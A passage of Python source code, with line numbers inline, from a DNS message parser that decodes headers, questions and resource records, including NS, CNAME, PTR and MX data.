rclass, ttl, rdlength = struct.unpack("!HHLH", data[pos : pos + 10]) 406 | 407 | if len(data) < pos + 10 + rdlength: 408 | raise DNSParseError("Not enough data to parse resource record") 409 | 410 | # Special handling for NS, CNAME, PTR data 411 | if rtype == 2 or rtype == 5 or rtype == 12: 412 | tmp, rdata = DNSParser.parse_name(data[pos + 10 : pos + 10 + rdlength], fulldata) 413 | # Special handling for MX data 414 | elif rtype == 15: 415 | pri = struct.unpack("!H", data[pos + 10 : pos + 12])[0] 416 | tmp, rdata = DNSParser.parse_name(data[pos + 12 : pos + 10 + rdlength], fulldata) 417 | rdata = (pri, rdata) 418 | else: 419 | rdata = data[pos + 10 : pos + 10 + rdlength] 420 | 421 | return pos + 10 + rdlength, DNSRR(labels, rtype, rclass, ttl, rdlength, rdata) 422 | 423 | @staticmethod 424 | def parse_message(data): 425 | """Parse a DNS message""" 426 | questions = [] 427 | answers = [] 428 | authorities = [] 429 | additionals = [] 430 | 431 | if len(data) < 12: 432 | raise DNSParseError("Not enough data to parse message") 433 | 434 | header = DNSHeader.from_bytes(data[:12]) 435 | pos = 12 436 | 437 | for i in range(header.qdcount): 438 | add, question = DNSParser.parse_question(data[pos:], data) 439 | questions.append(question) 440 | pos += add 441 | 442 | for i in range(header.ancount): 443 | add, answer = DNSParser.parse_rr(data[pos:], data) 444 | answers.append(answer) 445 | pos += add 446 | 447 | for i in range(header.nscount): 448 | add, authority = DNSParser.parse_rr(data[pos:], data) 449 | authorities.append(authority) 450 | pos += add 451 | 452 | for i in range(header.arcount): 453 | add, additional = DNSParser.parse_rr(data[pos:], data) 454 | additionals.append(additional) 455 | pos += add 456 | 457 | return pos, DNSMessage(header, questions, answers, authorities, additionals) 458 | 459 | --------------------------------------------------------------------------------